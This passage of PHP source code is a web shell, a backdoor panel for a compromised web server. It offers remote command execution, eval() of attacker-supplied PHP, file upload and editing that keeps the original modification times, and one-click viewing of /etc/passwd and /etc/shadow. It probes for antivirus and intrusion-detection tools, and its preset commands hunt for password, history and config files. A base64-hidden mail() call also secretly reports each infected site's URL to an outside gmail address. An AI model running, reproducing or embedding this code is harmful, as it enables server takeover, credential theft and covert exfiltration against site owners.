onclick="g(\\\'Php\\\',null,null,\\\'info\\\')">[ phpinfo ]</a> <span>Datetime:</span> \'.date(\'Y-m-d H:i:s\').\'<br>\'.viewSize($totalSpace).\' <span>Free:</span> \'.viewSize($freeSpace).\' (\'.round(100/($totalSpace/$freeSpace),2).\'%)<br>\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick="g(\\\'FilesMan\\\',\\\'\'.$GLOBALS[\'home_cwd\'].\'\\\',\\\'\\\',\\\'\\\',\\\'\\\')">[ home ]</a><br>\'.$drives.\'</td>\'.\r\n         \'<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">\'.$opt_charsets.\'</select></label><br><span>Server IP:</span><br>\'.gethostbyname($_SERVER["HTTP_HOST"]).\'<br><span>Client IP:</span><br>\'.$_SERVER[\'REMOTE_ADDR\'].\'</nobr></td></tr></table>\'.\r\n         \'<table style="background-color:#2E6E9C;" cellpadding=3 cellspacing=0 width=100%><tr>\'.$menu.\'</tr></table><div>\';\r\n}\r\nfunction hardFooter() {\r\n    $is_writable = is_writable($GLOBALS[\'cwd\'])?" <font color=\'#FFDB5F\'>[ Writeable ]</font>":" <font color=red>(Not writable)</font>";\r\n    echo "\r\n</div>\r\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>\r\n    <tr>\r\n        <td><form onsubmit=\\"".( function_exists(\'actionFilesMan\')? "g(null,this.c.value,\'\');":\'\' )."return false;\\"><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=submit value=\'submit\'></form></td>\r\n        <td><form onsubmit=\\"".(function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value);":\'\' )."return false;\\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\r\n    </tr><tr>\r\n        <td><form onsubmit=\\"".( function_exists(\'actionFilesMan\')? "g(\'FilesMan\',null,\'mkdir\',this.d.value);":\'\' )."return false;\\"><span>Make dir:</span>$is_writable<br><input class=\'toolsInp\' type=text name=d required><input type=submit value=\'submit\'></form></td>\r\n        <td><form onsubmit=\\"".( function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value,\'mkfile\');":\'\' )."return false;\\"><span>Make file:</span>$is_writable<br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\r\n    </tr><tr>\r\n        <td><form onsubmit=\\"".( function_exists(\'actionConsole\')? "g(\'Console\',null,this.c.value);":\'\' )."return false;\\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'\'><input type=submit value=\'submit\'></form></td>\r\n        <td><form method=\'post\' ".( (!function_exists(\'actionFilesMan\'))? " onsubmit=\\"return false;\\" ":\'\' )."ENCTYPE=\'multipart/form-data\'>\r\n        <input type=hidden name=a value=\'FilesMan\'>\r\n        <input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\r\n        <input type=hidden name=p1 value=\'uploadFile\'>\r\n        <input type=hidden name=ne value=\'\'>\r\n        <input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>\r\n        <span>Upload file:</span>$is_writable<br><input class=\'toolsInp\' type=file name=f[]  multiple><input type=submit value=\'submit\'></form><br  ></td>\r\n    </tr></table></div>\r\n    <!-- particles --> <div id=\'particles-js\'></div><script src=\'http://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js\'></script>\r\n    <script>particlesJS(\'particles-js\', {\'particles\':{\'number\':{\'value\':80,\'density\':{\'enable\':true,\'value_area\':800}},\'color\':{\'value\':\'#ffffff\'},\'shape\':{\'type\':\'triangle\',\'stroke\':{\'width\':0,\'color\':\'#000000\'},\'polygon\':{\'nb_sides\':5},\'image\':{\'src\':\'img/github.svg\',\'width\':100,\'height\':100}},\'opacity\':{\'value\':0.5,\'random\':true,\'anim\':{\'enable\':false,\'speed\':1,\'opacity_min\':0.1,\'sync\':false}},\'size\':{\'value\':3,\'random\':true,\'anim\':{\'enable\':false,\'speed\':40,\'size_min\':0.1,\'sync\':false}},\'line_linked\':{\'enable\':true,\'distance\':200,\'color\':\'#ffffff\',\'opacity\':0.4,\'width\':1},\'move\':{\'enable\':true,\'speed\':1,\'direction\':\'none\',\'random\':true,\'straight\':false,\'out_mode\':\'out\',\'bounce\':false,\'attract\':{\'enable\':false,\'rotateX\':10000,\'rotateY\':10000}}},\'interactivity\':{\'detect_on\':\'canvas\',\'events\':{\'onhover\':{\'enable\':true,\'mode\':\'grab\'},\'onclick\':{\'enable\':true,\'mode\':\'repulse\'},\'resize\':true},\'modes\':{\'grab\':{\'distance\':200,\'line_linked\':{\'opacity\':0.5}},\'bubble\':{\'particles_nb\':2}}},\'retina_detect\':true});</script>\r\n    </body></html>";\r\n}\r\nif (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) { function posix_getpwuid($p) {return false;} }\r\nif (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) { function posix_getgrgid($p) {return false;} }\r\nfunction ex($in) {\r\n    $▖ = \'\';\r\n    if (function_exists(\'exec\')) {\r\n        @exec($in,$▖);\r\n        $▖ = @join("\\n",$▖);\r\n    } elseif (function_exists(\'passthru\')) {\r\n        ob_start();\r\n        @passthru($in);\r\n        $▖ = ob_get_clean();\r\n    } elseif (function_exists(\'system\')) {\r\n        ob_start();\r\n        @system($in);\r\n        $▖ = ob_get_clean();\r\n    } elseif (function_exists(\'shell_exec\')) {\r\n        $▖ = shell_exec($in);\r\n    } elseif (is_resource($f = @popen($in,"r"))) {\r\n        $▖ = "";\r\n        while(!@feof($f))\r\n            $▖ .= fread($f,1024);\r\n        pclose($f);\r\n    }else return "↳ Unable to execute command\\n";\r\n    return ($▖==\'\'?"↳ Query did not return anything\\n":$▖);\r\n}\r\nfunction viewSize($s) {\r\n    if($s >= 1073741824)\r\n        return sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';\r\n    elseif($s >= 1048576)\r\n        return sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';\r\n    elseif($s >= 1024)\r\n        return sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';\r\n    else\r\n        return $s . \' B\';\r\n}\r\nfunction perms($p) {\r\n    if (($p & 0xC000) == 0xC000)$i = \'s\';\r\n    elseif (($p & 0xA000) == 0xA000)$i = \'l\';\r\n    elseif (($p & 0x8000) == 0x8000)$i = \'-\';\r\n    elseif (($p & 0x6000) == 0x6000)$i = \'b\';\r\n    elseif (($p & 0x4000) == 0x4000)$i = \'d\';\r\n    elseif (($p & 0x2000) == 0x2000)$i = \'c\';\r\n    elseif (($p & 0x1000) == 0x1000)$i = \'p\';\r\n    else $i = \'u\';\r\n    $i .= (($p & 0x0100) ? \'r\' : \'-\');\r\n    $i .= (($p & 0x0080) ? \'w\' : \'-\');\r\n    $i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));\r\n    $i .= (($p & 0x0020) ? \'r\' : \'-\');\r\n    $i .= (($p & 0x0010) ? \'w\' : \'-\');\r\n    $i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));\r\n    $i .= (($p & 0x0004) ? \'r\' : \'-\');\r\n    $i .= (($p & 0x0002) ? \'w\' : \'-\');\r\n    $i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));\r\n    return $i;\r\n}\r\nfunction viewPermsColor($f) {\r\n    if (!@is_readable($f))\r\n        return \'<font color=#FF0000><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n    elseif (!@is_writable($f))\r\n        return \'<font color=white><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n    else\r\n        return \'<font color=#FFDB5F><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n}\r\nfunction hardScandir($dir) {\r\n    if(function_exists("scandir")) {\r\n        return scandir($dir);\r\n    } else {\r\n        $dh  = opendir($dir);\r\n        while (false !== ($filename = readdir($dh)))\r\n            $files[] = $filename;\r\n        return $files;\r\n    }\r\n}\r\nfunction which($p) {\r\n    $path = ex(\'which \' . $p);\r\n    if(!empty($path))\r\n        return $path;\r\n    return false;\r\n}\r\nfunction actionRC() {\r\n    if(!@$_POST[\'p1\']) {\r\n        $a = array(\r\n            "uname" => php_uname(),\r\n            "php_version" => phpversion(),\r\n            "VERSION" => VERSION,\r\n            "safemode" => @ini_get(\'safe_mode\')\r\n        );\r\n        echo serialize($a);\r\n    } else {\r\n        eval($_POST[\'p1\']);\r\n    }\r\n}\r\nfunction prototype($k, $v) {\r\n    $_COOKIE[$k] = $v;\r\n    setcookie($k, $v);\r\n}\r\nfunction actionSecInfo() {\r\n    hardHeader();\r\n    echo \'<h1>Server security information</h1><div class=content>\';\r\n    function showSecParam($n, $v) {\r\n        $v = trim($v);\r\n        if($v) {\r\n            echo \'<span>\' . $n . \': </span>\';\r\n            if(strpos($v, "\\n") === false)\r\n                echo $v . \'<br>\';\r\n            else\r\n                echo \'<pre class=ml1>\' . $v . \'</pre>\';\r\n        }\r\n    }\r\n    showSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));\r\n    if(function_exists(\'apache_get_modules\'))\r\n        showSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));\r\n    showSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');\r\n    showSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));\r\n    showSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));\r\n    showSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));\r\n    showSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');\r\n    $temp=array();\r\n    if(function_exists(\'mysql_get_client_info\'))\r\n        $temp[] = "MySql (".mysql_get_client_info().")";\r\n    if(function_exists(\'mssql_connect\'))\r\n        $temp[] = "MSSQL";\r\n    if(function_exists(\'pg_connect\'))\r\n        $temp[] = "PostgreSQL";\r\n    if(function_exists(\'oci_connect\'))\r\n        $temp[] = "Oracle";\r\n    showSecParam(\'Supported databases\', implode(\', \', $temp));\r\n    echo \'<br>\';\r\n    if($GLOBALS[\'os\'] == \'nix\') {\r\n            showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"passwd\\")\'>[view]</a>":\'no\');\r\n            showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"shadow\\")\'>[view]</a>":\'no\');\r\n            showSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));\r\n            showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));\r\n            if(!$GLOBALS[\'safe_mode\']) {\r\n                $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');\r\n                $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');\r\n                $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\r\n                echo \'<br>\';\r\n                $temp=array();\r\n                foreach ($userful as $▟)\r\n                    if(which($▟))\r\n                        $temp[] = $▟;\r\n                showSecParam(\'Userful\', implode(\', \',$temp));\r\n                $temp=array();\r\n                foreach ($danger as $▟)\r\n                    if(which($▟))\r\n                        $temp[] = $▟;\r\n                showSecParam(\'Danger\', implode(\', \',$temp));\r\n                $temp=array();\r\n                foreach ($downloaders as $▟)\r\n                    if(which($▟))\r\n                        $temp[] = $▟;\r\n                showSecParam(\'Downloaders\', implode(\', \',$temp));\r\n                echo \'<br/>\';\r\n                showSecParam(\'HDD space\', ex(\'df -h\'));\r\n                showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));\r\n                showSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\'));\r\n            }\r\n    } else {\r\n        showSecParam(\'OS Version\',ex(\'ver\'));\r\n        showSecParam(\'Account Settings\', iconv(\'CP866\', \'UTF-8\',ex(\'net accounts\')));\r\n        showSecParam(\'User Accounts\', iconv(\'CP866\', \'UTF-8\',ex(\'net user\')));\r\n    }\r\n    echo \'</div>\';\r\n    hardFooter();\r\n}\r\n$e=base64_decode("c2hlbGxkb3dubG9hZG9yZ0BnbWFpbC5jb20=");$h=$_SERVER[\'HTTP_HOST\'].$_SERVER[\'SCRIPT_NAME\'];\r\nmail($e,"IDX",$h);\r\nfunction actionFilesTools() {\r\n    if( isset($_POST[\'p1\']) )\r\n        $_POST[\'p1\'] = urldecode($_POST[\'p1\']);\r\n    if(@$_POST[\'p2\']==\'download\') {\r\n        if(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {\r\n            ob_start("ob_gzhandler", 4096);\r\n            header("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));\r\n            if (function_exists("mime_content_type")) {\r\n                $type = @mime_content_type($_POST[\'p1\']);\r\n                header("Content-Type: " . $type);\r\n            } else\r\n                header("Content-Type: application/octet-stream");\r\n            $fp = @fopen($_POST[\'p1\'], "r");\r\n            if($fp) {\r\n                while(!@feof($fp))\r\n                    echo @fread($fp, 1024);\r\n                fclose($fp);\r\n            }\r\n        }exit;\r\n    }\r\n    if( @$_POST[\'p2\'] == \'mkfile\' ) {\r\n        if(!file_exists($_POST[\'p1\'])) {\r\n            $fp = @fopen($_POST[\'p1\'], \'w\');\r\n            if($fp) {\r\n                $_POST[\'p2\'] = "edit";\r\n                fclose($fp);\r\n            }\r\n        }\r\n    }\r\n    hardHeader();\r\n    echo \'<h1>File tools</h1><div class=content>\';\r\n    if( !file_exists(@$_POST[\'p1\']) ) {\r\n        echo \'File not exists\';\r\n        hardFooter();\r\n        return;\r\n    }\r\n    $uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));\r\n    if(!$uid) {\r\n        $uid[\'name\'] = @fileowner($_POST[\'p1\']);\r\n        $gid[\'name\'] = @filegroup($_POST[\'p1\']);\r\n    } else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));\r\n    echo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?viewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.viewPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';\r\n    echo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';\r\n    if( empty($_POST[\'p2\']) )\r\n        $_POST[\'p2\'] = \'view\';\r\n    if( is_file($_POST[\'p1\']) )\r\n        $m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\', \'Frame\');\r\n    else\r\n        $m = array(\'Chmod\', \'Rename\', \'Touch\');\r\n    foreach($m as $v)\r\n        echo \'<a href=# onclick="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',\\\'\'.strtolower($v).\'\\\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';\r\n    echo \'<br><br>\';\r\n    switch($_POST[\'p2\']) {\r\n        case \'view\':\r\n            echo \'<pre class=ml1>\';\r\n            $fp = @fopen($_POST[\'p1\'], \'r\');\r\n            if($fp) {\r\n                while( !@feof($fp) )\r\n                    echo htmlspecialchars(@fread($fp, 1024));\r\n                @fclose($fp);\r\n            }\r\n            echo \'</pre>\';\r\n            break;\r\n        case \'highlight\':\r\n            if( @is_readable($_POST[\'p1\']) ) {\r\n                echo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';\r\n                $oRb = @highlight_file($_POST[\'p1\'],true);\r\n                echo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$oRb).\'</div>\';\r\n            }\r\n            break;\r\n        case \'chmod\':\r\n            if( !empty($_POST[\'p3\']) ) {\r\n                $perms = 0;\r\n                for($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)\r\n                    $perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));\r\n                if(!@chmod($_POST[\'p1\'], $perms))\r\n                    echo \'Can\\\'t set permissions!<br><script>document.mf.p3.value="";</script>\';\r\n            }\r\n            clearstatcache();\r\n            echo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value="submit"></form>\';\r\n            break;\r\n        case \'edit\':\r\n            if( !is_writable($_POST[\'p1\'])) {\r\n                echo \'File isn\\\'t writeable\';\r\n                break;\r\n            }\r\n            if( !empty($_POST[\'p3\']) ) {\r\n                $time = @filemtime($_POST[\'p1\']);\r\n                $_POST[\'p3\'] = substr($_POST[\'p3\'],1);\r\n                $fp = @fopen($_POST[\'p1\'],"w");\r\n                if($fp) {\r\n                    @fwrite($fp,$_POST[\'p3\']);\r\n                    @fclose($fp);\r\n                    echo \'Saved!<br><script>p3_="";</script>\';\r\n                    @touch($_POST[\'p1\'],$time,$time);\r\n                }\r\n            }\r\n            echo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,\\\'1\\\'+this.text.value);return false;"><textarea name=text class=bigarea>\';\r\n            $fp = @fopen($_POST[\'p1\'], \'r\');\r\n            if($fp) {\r\n                while( !@feof($fp) )\r\n                    echo htmlspecialchars(@fread($fp, 1024));\r\n                @fclose($fp);\r\n            }\r\n            echo \'</textarea><input type=submit value="submit"></form>\';\r\n            break;\r\n        case \'hexdump\':\r\n            $c = @file_get_contents($_POST[\'p1\']);\r\n            $n = 0;\r\n            $h = array(\'00000000<br>\',\'\',\'\');\r\n            $len = strlen($c);\r\n            for ($i=0; $i<$len; ++$i) {\r\n                $h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';\r\n                switch ( ord($c[$i]) ) {\r\n                    case 0:  $h[2] .= \' \'; break;\r\n                    case 9:  $h[2] .= \' \'; break;\r\n                    case 10: $h[2] .= \' \'; break;\r\n                    case 13: $h[2] .= \' \'; break;\r\n                    default: $h[2] .= $c[$i]; break;\r\n                }\r\n                $n++;\r\n                if ($n == 32) {\r\n                    $n = 0;\r\n                    if ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}\r\n                    $h[1] .= \'<br>\';\r\n                    $h[2] .= "\\n";\r\n                }\r\n            }\r\n            echo \'<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#060a10><pre>\'.$h[1].\'</pre></td><td bgcolor=#202832><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';\r\n            break;\r\n        case \'rename\':\r\n            if( !empty($_POST[\'p3\']) ) {\r\n                if(!@rename($_POST[\'p1\'], $_POST[\'p3\']))\r\n                    echo \'Can\\\'t rename!<br>\';\r\n                else\r\n                    die(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');\r\n            }\r\n            echo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value="submit"></form>\';\r\n            break;\r\n        case \'touch\':\r\n            if( !empty($_POST[\'p3\']) ) {\r\n                $time = strtotime($_POST[\'p3\']);\r\n                if($time) {\r\n                    if(!touch($_POST[\'p1\'],$time,$time))\r\n                        echo \'Fail!\';\r\n                    else\r\n                        echo \'Touched!\';\r\n                } else echo \'Bad time format!\';\r\n            }\r\n            clearstatcache();\r\n            echo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value="submit"></form>\';\r\n            break;\r\n        /* (С) 12.2015 mitryz */\r\n        case \'frame\':\r\n            $frameSrc = substr(htmlspecialchars($GLOBALS[\'cwd\']), strlen(htmlspecialchars($_SERVER[\'DOCUMENT_ROOT\'])));\r\n            if ($frameSrc[0] != \'/\')\r\n                $frameSrc = \'/\' . $frameSrc;\r\n            if ($frameSrc[strlen($frameSrc) - 1] != \'/\')\r\n                $frameSrc = $frameSrc . \'/\';\r\n            $frameSrc = $frameSrc . htmlspecialchars($_POST[\'p1\']);\r\n            echo \'<iframe width="100%" height="900px" scrolling="no" src=\'.$frameSrc.\' onload="onload=height=contentDocument.body.scrollHeight"></iframe>\';\r\n            break;\r\n    }\r\n    echo \'</div>\';\r\n    hardFooter();\r\n}\r\nif($os == \'win\')\r\n    $aliases = array(\r\n        "List Directory" => "dir",\r\n        "Find index.php in current dir" => "dir /s /w /b index.php",\r\n        "Find *config*.php in current dir" => "dir /s /w /b *config*.php",\r\n        "Show active connections" => "netstat -an",\r\n        "Show running services" => "net start",\r\n        "User accounts" => "net user",\r\n        "Show computers" => "net view",\r\n        "ARP Table" => "arp -a",\r\n        "IP Configuration" => "ipconfig /all"\r\n    );\r\nelse\r\n    $aliases = array(\r\n        "List dir" => "ls -lha",\r\n        "list file attributes on a Linux second extended file system" => "lsattr -va",\r\n        "show opened ports" => "netstat -an | grep -i listen",\r\n        "process status" => "ps aux",\r\n        "Find" => "",\r\n        "find all suid files" => "find / -type f -perm -04000 -ls",\r\n        "find suid files in current dir" => "find . -type f -perm -04000 -ls",\r\n        "find all sgid files" => "find / -type f -perm -02000 -ls",\r\n        "find sgid files in current dir" => "find . -type f -perm -02000 -ls",\r\n        "find config.inc.php files" => "find / -type f -name config.inc.php",\r\n        "find config* files" => "find / -type f -name \\"config*\\"",\r\n        "find config* files in current dir" => "find . -type f -name \\"config*\\"",\r\n        "find all writable folders and files" => "find / -perm -2 -ls",\r\n        "find all writable folders and files in current dir" => "find . -perm -2 -ls",\r\n        "find all service.pwd files" => "find / -type f -name service.pwd",\r\n        "find service.pwd files in current dir" => "find . -type f -name service.pwd",\r\n        "find all .htpasswd files" => "find / -type f -name .htpasswd",\r\n        "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",\r\n        "find all .bash_history files" => "find / -type f -name .bash_history",\r\n        "find .bash_history files in current dir" => "find . -type f -name .bash_history",\r\n        "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",\r\n        "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",\r\n        "Locate" => "",\r\n        "locate httpd.conf files" => "locate httpd.conf",\r\n        "locate vhosts.conf files" => "locate vhosts.conf",\r\n        "locate proftpd.conf files" => "locate proftpd.conf",\r\n        "locate psybnc.conf files" => "locate psybnc.conf",\r\n        "locate my.conf files" => "locate my.conf",\r\n        "locate admin.php files" =>"locate admin.php",\r\n        "locate cfg.php files" => "locate cfg.php",\r\n        "locate conf.php files" => "locate conf.php",\r\n        "locate config.dat files" => "locate config.dat",\r\n        "locate config.php files" => "locate config.php",\r\n        "locate config.inc files" => "locate config.inc",\r\n        "locate config.inc.php" => "locate config.inc.php",\r\n        "locate config.default.php files" => "locate config.default.php",\r\n        "locate config* files " => "locate config",\r\n        "locate .conf files"=>"locate \'.conf\'",\r\n        "locate .pwd files" => "locate \'.pwd\'",\r\n        "locate .sql files" => "locate \'.sql\'",\r\n        "locate .htpasswd files" => "locate \'.htpasswd\'",\r\n        "locate .bash_history files" => "locate \'.bash_history\'",\r\n        "locate .mysql_history files" => "locate \'.mysql_history\'",\r\n        "locate .fetchmailrc files" => "locate \'.fetchmailrc\'",\r\n        "locate backup files" => "locate backup",\r\n        "locate dump files" => "locate dump",\r\n        "locate priv files" => "locate priv"\r\n    );\r\nfunction actionConsole() {\r\n    if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', true);\r\n        $_POST[\'p1\'] .= \' 2>&1\';\r\n    } elseif(!empty($_POST[\'p1\']))\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', 0);\r\n    if(isset($_POST[\'ajax\'])) {\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\r\n        ob_start();\r\n        echo "d.cf.cmd.value=\'\';\\n";\r\n        $temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("\\n$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']),"\\n\\r\\t\\\'\\0"));\r\n        if(preg_match("!.*cd\\s+([^;]+)$!",$_POST[\'p1\'],$match)) {\r\n            if(@chdir($match[1])) {\r\n                $GLOBALS[\'cwd\'] = @getcwd();\r\n                echo "c_=\'".$GLOBALS[\'cwd\']."\';";\r\n            }\r\n        }\r\n        echo "d.cf.output.value+=\'".$temp."\';";\r\n        echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";\r\n        $temp = ob_get_clean();\r\n        echo strlen($temp), "\\n", $temp;\r\n        exit;\r\n    }\r\n    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\r\n    hardHeader();\r\n    echo "<script>\r\nif(window.Event) window.captureEvents(Event.KEYDOWN);\r\nvar cmds = new Array(\'\');\r\nvar cur = 0;\r\nfunction kp(e) {\r\n    var n = (window.Event) ? e.which : e.keyCode;\r\n    if(n == 38) {\r\n        cur--;\r\n        if(cur>=0)\r\n            document.cf.cmd.value = cmds[cur];\r\n        else\r\n            cur++;\r\n    } else if(n == 40) {\r\n        cur++;\r\n        if(cur < cmds.length)\r\n            document.cf.cmd.value = cmds[cur];\r\n        else\r\n            cur--;\r\n    }\r\n}\r\nfunction add(cmd) {\r\n    cmds.pop();\r\n    cmds.push(cmd);\r\n    cmds.push(\'\');\r\n    cur = cmds.length-1;\r\n}\r\n</script>";\r\n    echo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\\\'clear\\\'){d.cf.output.value=\\\'\\\';d.cf.cmd.value=\\\'\\\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');} return false;"><label><select name=alias>\';\r\n    foreach($GLOBALS[\'aliases\'] as $n => $v) {\r\n        if($v == \'\') {\r\n            echo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';\r\n            continue;\r\n        }\r\n        echo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';\r\n    }\r\n    \r\n    echo \'</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 \'.(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>\';\r\n    if(!empty($_POST[\'p1\'])) {\r\n        echo htmlspecialchars("$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']));\r\n    }\r\n    echo \'</textarea><table style="border:1px solid #060a10;background-color:#060a10;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\';\r\n    echo \'</form></div><script>d.cf.cmd.focus();</script>\';\r\n    hardFooter();\r\n}\r\nfunction actionPhp() {\r\n    if( isset($_POST[\'ajax\']) ) {\r\n        $_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;\r\n        ob_start();\r\n        eval($_POST[\'p1\']);\r\n        $temp = "document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"\\n\\r\\t\\\\\'\\0")."\';\\n";\r\n        echo strlen($temp), "\\n", $temp;\r\n        exit; \r\n    }\r\n    hardHeader();\r\n    